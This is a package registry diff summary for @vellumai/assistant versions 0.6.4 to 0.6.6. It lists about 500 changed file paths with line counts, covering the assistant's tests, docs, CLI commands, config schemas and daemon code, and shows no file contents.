@vellumai/assistant 0.6.4 → 0.6.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1008) hide show
  1. package/.prettierignore +5 -0
  2. package/AGENTS.md +9 -1
  3. package/ARCHITECTURE.md +43 -49
  4. package/Dockerfile +17 -3
  5. package/README.md +3 -4
  6. package/__tests__/permissions/gateway-threshold-reader.test.ts +283 -0
  7. package/bun.lock +8 -3
  8. package/docs/architecture/integrations.md +33 -59
  9. package/docs/architecture/memory.md +25 -30
  10. package/docs/architecture/security.md +19 -18
  11. package/docs/browser-use-architecture-phase2.md +63 -20
  12. package/docs/error-handling.md +111 -0
  13. package/docs/plugins.md +761 -0
  14. package/docs/skills.md +10 -10
  15. package/docs/stt-provider-onboarding.md +2 -1
  16. package/examples/plugins/echo/README.md +132 -0
  17. package/examples/plugins/echo/package.json +17 -0
  18. package/examples/plugins/echo/register.ts +187 -0
  19. package/knip.json +9 -2
  20. package/node_modules/@vellumai/ces-contracts/package.json +2 -1
  21. package/node_modules/@vellumai/ces-contracts/src/__tests__/trust-rules.test.ts +471 -0
  22. package/node_modules/@vellumai/ces-contracts/src/trust-rules.ts +398 -4
  23. package/node_modules/@vellumai/credential-storage/bun.lock +2 -2
  24. package/node_modules/@vellumai/credential-storage/package.json +2 -2
  25. package/node_modules/@vellumai/credential-storage/src/oauth-runtime.ts +20 -2
  26. package/node_modules/@vellumai/egress-proxy/bun.lock +2 -2
  27. package/node_modules/@vellumai/egress-proxy/package.json +2 -2
  28. package/node_modules/@vellumai/egress-proxy/src/types.ts +19 -0
  29. package/openapi.yaml +334 -78
  30. package/package.json +6 -3
  31. package/scripts/generate-openapi.ts +50 -11
  32. package/src/__tests__/agent-loop-callsite-precedence.test.ts +318 -0
  33. package/src/__tests__/agent-loop-sentry-hygiene.test.ts +137 -0
  34. package/src/__tests__/agent-loop.test.ts +112 -1
  35. package/src/__tests__/anthropic-error-formatting.test.ts +98 -0
  36. package/src/__tests__/anthropic-provider.test.ts +171 -2
  37. package/src/__tests__/app-compiler.test.ts +57 -0
  38. package/src/__tests__/approval-cascade.test.ts +36 -10
  39. package/src/__tests__/approval-routes-http.test.ts +134 -10
  40. package/src/__tests__/assistant-attachments.test.ts +44 -0
  41. package/src/__tests__/assistant-feature-flags-integration.test.ts +29 -0
  42. package/src/__tests__/auto-analysis-end-to-end.test.ts +1 -0
  43. package/src/__tests__/avatar-generator.test.ts +4 -2
  44. package/src/__tests__/browser-fill-credential.test.ts +1 -1
  45. package/src/__tests__/browser-identifier-parity-guard.test.ts +53 -0
  46. package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +23 -33
  47. package/src/__tests__/browser-skill-endstate.test.ts +51 -182
  48. package/src/__tests__/btw-routes.test.ts +47 -1
  49. package/src/__tests__/bundled-asset.test.ts +6 -6
  50. package/src/__tests__/call-controller.test.ts +1 -2
  51. package/src/__tests__/call-site-routing-provider.test.ts +214 -0
  52. package/src/__tests__/catalog-cache.test.ts +96 -4
  53. package/src/__tests__/channel-approval-routes.test.ts +4 -4
  54. package/src/__tests__/channel-reply-delivery.test.ts +300 -2
  55. package/src/__tests__/checker.test.ts +870 -655
  56. package/src/__tests__/circuit-breaker-pipeline.test.ts +406 -0
  57. package/src/__tests__/cli-command-risk-guard.test.ts +30 -33
  58. package/src/__tests__/compaction-events.test.ts +501 -0
  59. package/src/__tests__/compaction-pipeline.test.ts +210 -0
  60. package/src/__tests__/compaction-strip-metadata-clear.test.ts +181 -0
  61. package/src/__tests__/compaction-timeout-recovery.test.ts +262 -0
  62. package/src/__tests__/compaction.benchmark.test.ts +1 -1
  63. package/src/__tests__/config-analysis.test.ts +11 -28
  64. package/src/__tests__/config-loader-backfill.test.ts +174 -0
  65. package/src/__tests__/config-loader-corrupt.test.ts +183 -0
  66. package/src/__tests__/config-loader-quarantine-bulletin.test.ts +202 -0
  67. package/src/__tests__/config-model-image-provider.test.ts +110 -0
  68. package/src/__tests__/config-schema-cmd.test.ts +11 -5
  69. package/src/__tests__/config-schema.test.ts +440 -114
  70. package/src/__tests__/config-watcher-cleanup-throttle.test.ts +0 -4
  71. package/src/__tests__/config-watcher.test.ts +2 -2
  72. package/src/__tests__/contact-store-user-file.test.ts +72 -73
  73. package/src/__tests__/contacts-tools.test.ts +26 -0
  74. package/src/__tests__/contacts-write.test.ts +4 -4
  75. package/src/__tests__/context-overflow-policy.test.ts +7 -7
  76. package/src/__tests__/context-token-estimator.test.ts +191 -1
  77. package/src/__tests__/context-window-manager.test.ts +883 -4
  78. package/src/__tests__/conversation-abort-tool-results.test.ts +32 -15
  79. package/src/__tests__/conversation-agent-loop-overflow.test.ts +86 -46
  80. package/src/__tests__/conversation-agent-loop.test.ts +435 -216
  81. package/src/__tests__/conversation-attachments.test.ts +1 -1
  82. package/src/__tests__/conversation-confirmation-signals.test.ts +36 -10
  83. package/src/__tests__/conversation-error.test.ts +37 -6
  84. package/src/__tests__/conversation-history-web-search.test.ts +7 -0
  85. package/src/__tests__/conversation-init.benchmark.test.ts +34 -12
  86. package/src/__tests__/conversation-lifecycle.test.ts +336 -0
  87. package/src/__tests__/conversation-load-history-repair.test.ts +27 -10
  88. package/src/__tests__/conversation-pairing.test.ts +174 -10
  89. package/src/__tests__/conversation-pre-run-repair.test.ts +32 -15
  90. package/src/__tests__/conversation-process-callsite.test.ts +309 -0
  91. package/src/__tests__/conversation-provider-retry-repair.test.ts +44 -21
  92. package/src/__tests__/conversation-queue.test.ts +68 -38
  93. package/src/__tests__/conversation-routes-disk-view.test.ts +36 -7
  94. package/src/__tests__/conversation-routes-slash-commands.test.ts +31 -3
  95. package/src/__tests__/conversation-runtime-assembly.test.ts +2877 -152
  96. package/src/__tests__/conversation-runtime-workspace.test.ts +35 -50
  97. package/src/__tests__/conversation-seed-composer.test.ts +2 -2
  98. package/src/__tests__/conversation-skill-tools.test.ts +12 -146
  99. package/src/__tests__/conversation-slash-queue.test.ts +39 -19
  100. package/src/__tests__/conversation-slash-unknown.test.ts +53 -16
  101. package/src/__tests__/conversation-speed-override.test.ts +36 -12
  102. package/src/__tests__/conversation-surfaces-standalone-payloads.test.ts +1035 -0
  103. package/src/__tests__/conversation-surfaces-standalone.test.ts +630 -0
  104. package/src/__tests__/conversation-title-service.test.ts +118 -2
  105. package/src/__tests__/conversation-tool-setup-app-refresh.test.ts +41 -2
  106. package/src/__tests__/conversation-tool-setup-batch-authorized.test.ts +1 -1
  107. package/src/__tests__/conversation-unread-route.test.ts +2 -2
  108. package/src/__tests__/conversation-usage.test.ts +4 -2
  109. package/src/__tests__/conversation-workspace-cache-state.test.ts +33 -9
  110. package/src/__tests__/conversation-workspace-injection.test.ts +46 -15
  111. package/src/__tests__/conversation-workspace-tool-tracking.test.ts +46 -15
  112. package/src/__tests__/credential-broker-browser-fill.test.ts +110 -0
  113. package/src/__tests__/credential-health-service.test.ts +78 -9
  114. package/src/__tests__/credential-security-invariants.test.ts +5 -2
  115. package/src/__tests__/credential-storage-oauth-compat.test.ts +18 -0
  116. package/src/__tests__/credential-storage-static-compat.test.ts +28 -0
  117. package/src/__tests__/credential-vault-unit.test.ts +135 -19
  118. package/src/__tests__/credentials-cli.test.ts +1 -9
  119. package/src/__tests__/cross-provider-web-search.test.ts +84 -0
  120. package/src/__tests__/daemon-server-persist-and-process-callsite.test.ts +92 -0
  121. package/src/__tests__/db-schedule-syntax-migration.test.ts +1 -0
  122. package/src/__tests__/delete-propagation.test.ts +437 -0
  123. package/src/__tests__/dm-backfill.test.ts +417 -0
  124. package/src/__tests__/dm-persistence.test.ts +227 -0
  125. package/src/__tests__/edit-propagation.test.ts +280 -0
  126. package/src/__tests__/empty-response-pipeline.test.ts +305 -0
  127. package/src/__tests__/ephemeral-permissions.test.ts +93 -3
  128. package/src/__tests__/estimator-calibration-integration.test.ts +208 -0
  129. package/src/__tests__/estimator-calibration.test.ts +213 -0
  130. package/src/__tests__/extension-id-sync-guard.test.ts +29 -10
  131. package/src/__tests__/file-write-tool.test.ts +151 -1
  132. package/src/__tests__/filing-service.test.ts +255 -0
  133. package/src/__tests__/first-greeting.test.ts +247 -5
  134. package/src/__tests__/gemini-provider.test.ts +0 -3
  135. package/src/__tests__/guardian-grant-minting.test.ts +8 -0
  136. package/src/__tests__/headless-browser-interactions.test.ts +1 -1
  137. package/src/__tests__/headless-browser-mode.test.ts +57 -0
  138. package/src/__tests__/heartbeat-service.test.ts +96 -15
  139. package/src/__tests__/history-repair-pipeline.test.ts +399 -0
  140. package/src/__tests__/host-browser-e2e-cloud.test.ts +307 -0
  141. package/src/__tests__/host-browser-e2e-self-hosted.test.ts +3 -3
  142. package/src/__tests__/host-proxy-interface.test.ts +36 -2
  143. package/src/__tests__/host-shell-tool.test.ts +124 -18
  144. package/src/__tests__/http-user-message-parity.test.ts +29 -1
  145. package/src/__tests__/image-credentials.test.ts +137 -0
  146. package/src/__tests__/image-service-dispatcher.test.ts +186 -0
  147. package/src/__tests__/inbound-slack-persistence.test.ts +340 -0
  148. package/src/__tests__/injector-chain.test.ts +526 -0
  149. package/src/__tests__/intent-routing.test.ts +1 -66
  150. package/src/__tests__/llm-call-pipeline.test.ts +285 -0
  151. package/src/__tests__/llm-catalog-parity.test.ts +174 -0
  152. package/src/__tests__/llm-context-normalization.test.ts +121 -0
  153. package/src/__tests__/llm-resolver.test.ts +214 -0
  154. package/src/__tests__/llm-schema.test.ts +223 -0
  155. package/src/__tests__/managed-proxy-context.test.ts +6 -2
  156. package/src/__tests__/media-generate-image.test.ts +119 -13
  157. package/src/__tests__/memory-retrieval-pipeline.test.ts +401 -0
  158. package/src/__tests__/memory-upsert-concurrency.test.ts +1 -0
  159. package/src/__tests__/messaging-skill-split.test.ts +3 -34
  160. package/src/__tests__/migration-import-from-url.test.ts +621 -0
  161. package/src/__tests__/model-intents.test.ts +11 -83
  162. package/src/__tests__/notification-broadcaster.test.ts +3 -3
  163. package/src/__tests__/notification-decision-fallback.test.ts +0 -10
  164. package/src/__tests__/notification-decision-identity.test.ts +0 -9
  165. package/src/__tests__/notification-decision-recipient-context.test.ts +0 -9
  166. package/src/__tests__/notification-decision-strategy.test.ts +0 -11
  167. package/src/__tests__/notification-schedule-notify-dedup.test.ts +108 -0
  168. package/src/__tests__/oauth-apps-routes.test.ts +1 -1
  169. package/src/__tests__/oauth-cli.test.ts +14 -12
  170. package/src/__tests__/oauth-connect-orchestrator.test.ts +4 -13
  171. package/src/__tests__/oauth-provider-serializer.test.ts +6 -4
  172. package/src/__tests__/oauth-provider-visibility.test.ts +3 -5
  173. package/src/__tests__/oauth-providers-routes.test.ts +3 -2
  174. package/src/__tests__/oauth-store.test.ts +46 -78
  175. package/src/__tests__/oauth2-gateway-transport.test.ts +8 -3
  176. package/src/__tests__/oauth2-refresh-retry.test.ts +279 -0
  177. package/src/__tests__/onboarding-template-contract.test.ts +16 -64
  178. package/src/__tests__/openai-image-service.test.ts +368 -0
  179. package/src/__tests__/openai-provider.test.ts +7 -0
  180. package/src/__tests__/openai-responses-provider.test.ts +396 -0
  181. package/src/__tests__/openrouter-provider-only.test.ts +135 -0
  182. package/src/__tests__/outbound-slack-persistence.test.ts +293 -0
  183. package/src/__tests__/overflow-reduce-pipeline.test.ts +676 -0
  184. package/src/__tests__/permission-checker-host-gate.test.ts +1 -25
  185. package/src/__tests__/permission-mode.test.ts +16 -0
  186. package/src/__tests__/permission-types.test.ts +0 -1
  187. package/src/__tests__/persist-onboarding-artifacts.test.ts +266 -0
  188. package/src/__tests__/persistence-pipeline.test.ts +377 -0
  189. package/src/__tests__/persona-resolver.test.ts +13 -13
  190. package/src/__tests__/pipeline-runner.test.ts +565 -0
  191. package/src/__tests__/pkb-autoinject.test.ts +37 -1
  192. package/src/__tests__/platform-bash-auto-approve.test.ts +1 -1
  193. package/src/__tests__/platform.test.ts +5 -2
  194. package/src/__tests__/plugin-bootstrap.test.ts +483 -0
  195. package/src/__tests__/plugin-registry.test.ts +273 -0
  196. package/src/__tests__/plugin-route-contribution.test.ts +288 -0
  197. package/src/__tests__/plugin-skill-contribution.test.ts +367 -0
  198. package/src/__tests__/plugin-tool-contribution.test.ts +286 -0
  199. package/src/__tests__/plugin-types.test.ts +320 -0
  200. package/src/__tests__/pricing.test.ts +93 -14
  201. package/src/__tests__/profiler-routes.test.ts +1 -1
  202. package/src/__tests__/provider-commit-message-generator.test.ts +14 -84
  203. package/src/__tests__/provider-env-vars-scope.test.ts +52 -0
  204. package/src/__tests__/provider-error-scenarios.test.ts +135 -6
  205. package/src/__tests__/provider-managed-proxy-integration.test.ts +42 -11
  206. package/src/__tests__/provider-registry-ollama.test.ts +1 -2
  207. package/src/__tests__/proxy-approval-callback.test.ts +69 -9
  208. package/src/__tests__/reaction-persistence.test.ts +561 -0
  209. package/src/__tests__/regenerate-fire-and-forget-trace.test.ts +1 -0
  210. package/src/__tests__/registry.test.ts +0 -2
  211. package/src/__tests__/relay-server.test.ts +1 -1
  212. package/src/__tests__/require-fresh-approval.test.ts +1 -1
  213. package/src/__tests__/retry-openrouter-only-normalization.test.ts +136 -0
  214. package/src/__tests__/retry-thinking-tool-choice.test.ts +226 -0
  215. package/src/__tests__/risk-classifier-parity.test.ts +230 -0
  216. package/src/__tests__/sanitize-config-for-transfer.test.ts +78 -1
  217. package/src/__tests__/schedule-routes.test.ts +131 -1
  218. package/src/__tests__/scheduler-recurrence.test.ts +14 -70
  219. package/src/__tests__/scheduler-reuse-conversation.test.ts +10 -50
  220. package/src/__tests__/secret-detection-handler.test.ts +0 -10
  221. package/src/__tests__/secret-ingress-http.test.ts +28 -0
  222. package/src/__tests__/secret-prompter-channel-fallback.test.ts +125 -0
  223. package/src/__tests__/secret-routes-managed-proxy.test.ts +2 -3
  224. package/src/__tests__/secret-scanner-executor.test.ts +1 -1
  225. package/src/__tests__/send-endpoint-busy.test.ts +29 -1
  226. package/src/__tests__/server-history-render.test.ts +31 -0
  227. package/src/__tests__/shell-identity.test.ts +0 -134
  228. package/src/__tests__/shell-parser-property.test.ts +13 -13
  229. package/src/__tests__/skill-cache-store.test.ts +182 -0
  230. package/src/__tests__/skills.test.ts +19 -33
  231. package/src/__tests__/slack-app-setup-skill-regression.test.ts +3 -1
  232. package/src/__tests__/slack-skill.test.ts +3 -8
  233. package/src/__tests__/starter-bundle.test.ts +35 -0
  234. package/src/__tests__/subagent-call-site-routing.test.ts +280 -0
  235. package/src/__tests__/suggestion-routes.test.ts +259 -3
  236. package/src/__tests__/system-prompt.test.ts +22 -35
  237. package/src/__tests__/task-memory-cleanup.test.ts +1 -0
  238. package/src/__tests__/task-runner.test.ts +3 -1
  239. package/src/__tests__/task-scheduler.test.ts +3 -15
  240. package/src/__tests__/tcc-sandbox-deny.test.ts +198 -0
  241. package/src/__tests__/terminal-tools.test.ts +8 -0
  242. package/src/__tests__/test-preload.ts +11 -0
  243. package/src/__tests__/test-support/browser-skill-harness.ts +2 -52
  244. package/src/__tests__/thread-backfill.test.ts +941 -0
  245. package/src/__tests__/title-generate-pipeline.test.ts +224 -0
  246. package/src/__tests__/token-estimate-pipeline.test.ts +431 -0
  247. package/src/__tests__/tool-error-pipeline.test.ts +244 -0
  248. package/src/__tests__/tool-execute-pipeline.test.ts +431 -0
  249. package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +2 -8
  250. package/src/__tests__/tool-executor-lifecycle-events.test.ts +2 -2
  251. package/src/__tests__/tool-executor-shell-integration.test.ts +7 -10
  252. package/src/__tests__/tool-executor.test.ts +201 -94
  253. package/src/__tests__/tool-result-truncate-pipeline.test.ts +356 -0
  254. package/src/__tests__/tool-result-truncation.test.ts +0 -110
  255. package/src/__tests__/trust-store.test.ts +442 -109
  256. package/src/__tests__/update-bulletin-job.test.ts +389 -0
  257. package/src/__tests__/usage-cache-backfill-migration.test.ts +3 -1
  258. package/src/__tests__/user-plugin-loader.test.ts +191 -0
  259. package/src/__tests__/verification-control-plane-policy.test.ts +1 -22
  260. package/src/__tests__/voice-session-bridge.test.ts +39 -0
  261. package/src/__tests__/volume-security-guard.test.ts +3 -2
  262. package/src/__tests__/web-search-history.test.ts +337 -0
  263. package/src/__tests__/workspace-migration-039-drop-legacy-llm-keys.test.ts +343 -0
  264. package/src/__tests__/workspace-migration-043-release-notes-latex-rendering.test.ts +202 -0
  265. package/src/__tests__/workspace-migration-045-release-notes-meet-avatar.test.ts +210 -0
  266. package/src/__tests__/workspace-migration-046-seed-conversation-starters-callsite.test.ts +185 -0
  267. package/src/__tests__/workspace-migration-049-release-notes-default-sonnet.test.ts +100 -0
  268. package/src/__tests__/workspace-migration-050-seed-main-agent-opus-callsite.test.ts +171 -0
  269. package/src/__tests__/workspace-migration-051-seed-conversation-summarization-callsite.test.ts +252 -0
  270. package/src/__tests__/workspace-migration-drop-user-md.test.ts +11 -11
  271. package/src/__tests__/workspace-migration-remove-hooks.test.ts +99 -0
  272. package/src/__tests__/workspace-migration-unify-llm-callsite-configs.test.ts +841 -0
  273. package/src/__tests__/workspace-policy.test.ts +22 -16
  274. package/src/acp/client-handler.ts +1 -2
  275. package/src/agent/loop.ts +545 -115
  276. package/src/approvals/__tests__/guardian-feed-event.test.ts +304 -0
  277. package/src/approvals/guardian-request-resolvers.ts +80 -0
  278. package/src/avatar/resvg-lazy.test.ts +136 -0
  279. package/src/avatar/resvg-lazy.ts +82 -9
  280. package/src/avatar/traits-png-sync.ts +21 -1
  281. package/src/backup/__tests__/backup-worker.test.ts +2 -13
  282. package/src/backup/backup-worker.ts +3 -15
  283. package/src/browser/__tests__/operations.test.ts +163 -0
  284. package/src/browser/identifiers.ts +51 -0
  285. package/src/browser/operations.ts +660 -0
  286. package/src/browser/types.ts +81 -0
  287. package/src/bundler/app-compiler.ts +84 -1
  288. package/src/calls/call-state.ts +2 -2
  289. package/src/calls/guardian-question-copy.ts +2 -2
  290. package/src/calls/telephony-stt-routing.ts +1 -1
  291. package/src/calls/voice-session-bridge.ts +1 -0
  292. package/src/channels/__tests__/types.test.ts +3 -3
  293. package/src/channels/types.ts +6 -4
  294. package/src/cli/AGENTS.md +1 -1
  295. package/src/cli/__tests__/notifications.test.ts +87 -211
  296. package/src/cli/commands/__tests__/attachment.test.ts +438 -0
  297. package/src/cli/commands/__tests__/backup.test.ts +1 -1
  298. package/src/cli/commands/__tests__/browser.test.ts +554 -0
  299. package/src/cli/commands/__tests__/cache.test.ts +623 -0
  300. package/src/cli/commands/__tests__/email-list.test.ts +6 -0
  301. package/src/cli/commands/__tests__/email-send.test.ts +93 -1
  302. package/src/cli/commands/__tests__/image-generation.test.ts +886 -0
  303. package/src/cli/commands/__tests__/inference-send.test.ts +463 -0
  304. package/src/cli/commands/__tests__/stt-transcribe.test.ts +454 -0
  305. package/src/cli/commands/__tests__/task.test.ts +913 -0
  306. package/src/cli/commands/__tests__/tts-synthesize.test.ts +606 -0
  307. package/src/cli/commands/__tests__/ui-confirm.test.ts +650 -0
  308. package/src/cli/commands/__tests__/ui.test.ts +1215 -0
  309. package/src/cli/commands/__tests__/watchers.test.ts +716 -0
  310. package/src/cli/commands/attachment.ts +182 -0
  311. package/src/cli/commands/backup.ts +2 -2
  312. package/src/cli/commands/browser.ts +350 -0
  313. package/src/cli/commands/cache.ts +341 -0
  314. package/src/cli/commands/clients.ts +138 -0
  315. package/src/cli/commands/completions.ts +2 -12
  316. package/src/cli/commands/config.ts +6 -6
  317. package/src/cli/commands/conversations-import.ts +347 -0
  318. package/src/cli/commands/conversations.ts +69 -8
  319. package/src/cli/commands/email.ts +234 -194
  320. package/src/cli/commands/image-generation.ts +299 -0
  321. package/src/cli/commands/inference.ts +200 -0
  322. package/src/cli/commands/memory.ts +127 -17
  323. package/src/cli/commands/notifications.ts +68 -103
  324. package/src/cli/commands/oauth/__tests__/providers-register.test.ts +1 -1
  325. package/src/cli/commands/oauth/__tests__/providers-update.test.ts +1 -1
  326. package/src/cli/commands/oauth/connect.ts +2 -2
  327. package/src/cli/commands/oauth/providers.ts +176 -8
  328. package/src/cli/commands/oauth/status.ts +46 -36
  329. package/src/cli/commands/platform/__tests__/callback-routes-list.test.ts +0 -1
  330. package/src/cli/commands/platform/__tests__/connect.test.ts +0 -1
  331. package/src/cli/commands/platform/__tests__/disconnect.test.ts +0 -1
  332. package/src/cli/commands/platform/__tests__/status.test.ts +0 -1
  333. package/src/cli/commands/skills.ts +3 -4
  334. package/src/cli/commands/stt.ts +339 -0
  335. package/src/cli/commands/task.ts +795 -0
  336. package/src/cli/commands/trust.ts +50 -19
  337. package/src/cli/commands/tts.ts +273 -0
  338. package/src/cli/commands/ui.ts +670 -0
  339. package/src/cli/commands/watchers.ts +509 -0
  340. package/src/cli/lib/daemon-credential-client.ts +0 -19
  341. package/src/cli/program.ts +39 -24
  342. package/src/cli.ts +0 -37
  343. package/src/config/__tests__/backup-schema.test.ts +7 -2
  344. package/src/config/bundled-skills/app-builder/SKILL.md +2 -2
  345. package/src/config/bundled-skills/app-builder/references/WIDGETS.md +10 -10
  346. package/src/config/bundled-skills/contacts/tools/contact-merge.ts +66 -87
  347. package/src/config/bundled-skills/contacts/tools/contact-search.ts +28 -51
  348. package/src/config/bundled-skills/contacts/tools/contact-upsert.ts +22 -40
  349. package/src/config/bundled-skills/image-studio/SKILL.md +2 -1
  350. package/src/config/bundled-skills/image-studio/TOOLS.json +2 -1
  351. package/src/config/bundled-skills/image-studio/tools/media-generate-image.ts +23 -39
  352. package/src/config/bundled-skills/media-processing/services/reduce.ts +1 -1
  353. package/src/config/bundled-skills/messaging/SKILL.md +5 -5
  354. package/src/config/bundled-skills/messaging/TOOLS.json +4 -0
  355. package/src/config/bundled-skills/messaging/tools/__tests__/messaging-feed-events.test.ts +207 -0
  356. package/src/config/bundled-skills/messaging/tools/messaging-archive-by-sender.ts +20 -1
  357. package/src/config/bundled-skills/messaging/tools/messaging-read.ts +15 -1
  358. package/src/config/bundled-skills/messaging/tools/messaging-search.ts +21 -1
  359. package/src/config/bundled-skills/messaging/tools/messaging-send.ts +69 -12
  360. package/src/config/bundled-skills/phone-calls/references/CONFIG.md +9 -8
  361. package/src/config/bundled-skills/schedule/SKILL.md +8 -3
  362. package/src/config/bundled-skills/schedule/TOOLS.json +15 -7
  363. package/src/config/bundled-skills/schedule/references/SCRIPT_MODE_PATTERNS.md +59 -0
  364. package/src/config/bundled-skills/settings/TOOLS.json +3 -3
  365. package/src/config/bundled-tool-registry.ts +0 -190
  366. package/src/config/env.ts +7 -2
  367. package/src/config/feature-flag-registry.json +42 -10
  368. package/src/config/llm-resolver.ts +128 -0
  369. package/src/config/loader.ts +194 -10
  370. package/src/config/raw-config-utils.ts +30 -2
  371. package/src/config/sanitize-for-transfer.ts +35 -0
  372. package/src/config/schema.ts +49 -41
  373. package/src/config/schemas/analysis.ts +3 -22
  374. package/src/config/schemas/backup.ts +1 -1
  375. package/src/config/schemas/calls.ts +0 -4
  376. package/src/config/schemas/conversations.ts +16 -0
  377. package/src/config/schemas/filing.ts +2 -7
  378. package/src/config/schemas/heartbeat.ts +0 -5
  379. package/src/config/schemas/inference.ts +3 -23
  380. package/src/config/schemas/llm.ts +317 -0
  381. package/src/config/schemas/memory-processing.ts +1 -9
  382. package/src/config/schemas/notifications.ts +4 -11
  383. package/src/config/schemas/platform.ts +3 -9
  384. package/src/config/schemas/security.ts +33 -0
  385. package/src/config/schemas/services.ts +9 -4
  386. package/src/config/schemas/stt.ts +1 -0
  387. package/src/config/schemas/tts.ts +64 -0
  388. package/src/config/schemas/updates.ts +1 -1
  389. package/src/config/schemas/workspace-git.ts +3 -40
  390. package/src/config/skill-state.ts +6 -2
  391. package/src/config/skills.ts +96 -7
  392. package/src/context/__tests__/compact-prompt.test.ts +63 -0
  393. package/src/context/__tests__/microcompact.test.ts +805 -0
  394. package/src/context/estimator-calibration.ts +136 -0
  395. package/src/context/microcompact.ts +443 -0
  396. package/src/context/prompts/compact.md +26 -0
  397. package/src/context/token-estimator.ts +61 -3
  398. package/src/context/tool-result-truncation.ts +3 -63
  399. package/src/context/window-manager.ts +417 -39
  400. package/src/credential-execution/approval-bridge.ts +0 -1
  401. package/src/credential-execution/executable-discovery.ts +19 -8
  402. package/src/credential-execution/process-manager.test.ts +109 -0
  403. package/src/credential-execution/process-manager.ts +65 -2
  404. package/src/credential-health/credential-health-service.ts +19 -6
  405. package/src/daemon/__tests__/conversation-feed-event.test.ts +317 -0
  406. package/src/daemon/__tests__/conversation-lifecycle-auto-analyze.test.ts +4 -12
  407. package/src/daemon/__tests__/conversation-tool-setup.test.ts +14 -15
  408. package/src/daemon/approval-generators.ts +29 -4
  409. package/src/daemon/assistant-attachments.ts +24 -13
  410. package/src/daemon/classifier.ts +2 -2
  411. package/src/daemon/config-watcher.ts +0 -3
  412. package/src/daemon/context-overflow-policy.ts +4 -13
  413. package/src/daemon/context-overflow-reducer.ts +4 -1
  414. package/src/daemon/conversation-agent-loop-handlers.ts +162 -34
  415. package/src/daemon/conversation-agent-loop.ts +1282 -599
  416. package/src/daemon/conversation-attachments.ts +2 -6
  417. package/src/daemon/conversation-error.ts +36 -1
  418. package/src/daemon/conversation-history.ts +10 -19
  419. package/src/daemon/conversation-lifecycle.ts +59 -17
  420. package/src/daemon/conversation-messaging.ts +73 -4
  421. package/src/daemon/conversation-notifiers.ts +2 -110
  422. package/src/daemon/conversation-process.ts +24 -11
  423. package/src/daemon/conversation-queue-manager.ts +3 -0
  424. package/src/daemon/conversation-runtime-assembly.ts +1063 -211
  425. package/src/daemon/conversation-slash.ts +2 -2
  426. package/src/daemon/conversation-surfaces.ts +389 -1
  427. package/src/daemon/conversation-tool-setup.ts +51 -9
  428. package/src/daemon/conversation-usage.ts +1 -1
  429. package/src/daemon/conversation.ts +197 -64
  430. package/src/daemon/external-plugins-bootstrap.ts +478 -0
  431. package/src/daemon/external-skills-bootstrap.ts +41 -0
  432. package/src/daemon/first-greeting.ts +191 -14
  433. package/src/daemon/guardian-action-generators.ts +34 -14
  434. package/src/daemon/handlers/config-model.test.ts +86 -0
  435. package/src/daemon/handlers/config-model.ts +65 -12
  436. package/src/daemon/handlers/conversations.ts +9 -2
  437. package/src/daemon/handlers/shared.ts +39 -11
  438. package/src/daemon/handlers/skills.ts +7 -3
  439. package/src/daemon/handlers/slack-channel-oauth-install.ts +197 -0
  440. package/src/daemon/lifecycle.ts +109 -82
  441. package/src/daemon/message-types/computer-use.ts +2 -34
  442. package/src/daemon/message-types/conversations.ts +63 -0
  443. package/src/daemon/message-types/messages.ts +21 -1
  444. package/src/daemon/message-types/trust.ts +0 -2
  445. package/src/daemon/parse-actual-tokens-from-error.test.ts +57 -1
  446. package/src/daemon/parse-actual-tokens-from-error.ts +66 -0
  447. package/src/daemon/pkb-context-tracker.test.ts +169 -0
  448. package/src/daemon/pkb-context-tracker.ts +125 -0
  449. package/src/daemon/pkb-reminder-builder.test.ts +70 -0
  450. package/src/daemon/pkb-reminder-builder.ts +31 -0
  451. package/src/daemon/providers-setup.ts +6 -0
  452. package/src/daemon/server.ts +122 -12
  453. package/src/daemon/shutdown-handlers.ts +2 -12
  454. package/src/daemon/tool-side-effects.ts +14 -65
  455. package/src/daemon/web-search-history.ts +126 -0
  456. package/src/events/domain-events.ts +0 -1
  457. package/src/filing/filing-service.ts +9 -10
  458. package/src/heartbeat/__tests__/heartbeat-feed-event.test.ts +160 -0
  459. package/src/heartbeat/heartbeat-service.ts +99 -28
  460. package/src/home/__tests__/feed-population-integration.test.ts +312 -0
  461. package/src/home/__tests__/feed-scheduler.test.ts +39 -11
  462. package/src/home/__tests__/rollup-producer.test.ts +44 -0
  463. package/src/home/assistant-feed-authoring.ts +4 -0
  464. package/src/home/emit-feed-event.ts +11 -0
  465. package/src/home/feed-scheduler.ts +20 -4
  466. package/src/home/feed-types.ts +97 -4
  467. package/src/home/relationship-state-writer.ts +2 -2
  468. package/src/home/rewrite-command-preview.ts +66 -0
  469. package/src/home/rollup-producer.ts +34 -5
  470. package/src/home/suggested-prompts.ts +101 -0
  471. package/src/ipc/__tests__/attachment-ipc.test.ts +213 -0
  472. package/src/ipc/__tests__/browser-ipc.test.ts +339 -0
  473. package/src/ipc/__tests__/cache-ipc.test.ts +266 -0
  474. package/src/ipc/__tests__/socket-path.test.ts +34 -0
  475. package/src/ipc/__tests__/task-ipc.test.ts +577 -0
  476. package/src/ipc/__tests__/ui-request-route.test.ts +495 -0
  477. package/src/ipc/__tests__/watcher-ipc.test.ts +295 -0
  478. package/src/ipc/cli-client.ts +2 -1
  479. package/src/ipc/cli-server.ts +26 -8
  480. package/src/ipc/gateway-client.ts +6 -3
  481. package/src/ipc/routes/attachment.ts +114 -0
  482. package/src/ipc/routes/browser-context.ts +63 -0
  483. package/src/ipc/routes/browser.ts +97 -0
  484. package/src/ipc/routes/cache.ts +96 -0
  485. package/src/ipc/routes/get-contact.ts +16 -0
  486. package/src/ipc/routes/index.ts +31 -1
  487. package/src/ipc/routes/list-clients.ts +31 -0
  488. package/src/ipc/routes/merge-contacts.ts +17 -0
  489. package/src/ipc/routes/notification.ts +133 -0
  490. package/src/ipc/routes/rename-conversation.ts +59 -0
  491. package/src/ipc/routes/search-contacts.ts +19 -0
  492. package/src/ipc/routes/task-queue.ts +226 -0
  493. package/src/ipc/routes/task.ts +173 -0
  494. package/src/ipc/routes/ui-request.ts +50 -0
  495. package/src/ipc/routes/upsert-contact.ts +25 -0
  496. package/src/ipc/routes/watcher.ts +203 -0
  497. package/src/ipc/socket-path.ts +76 -0
  498. package/src/media/app-icon-generator.ts +23 -46
  499. package/src/media/avatar-router.ts +26 -41
  500. package/src/media/gemini-image-service.ts +8 -41
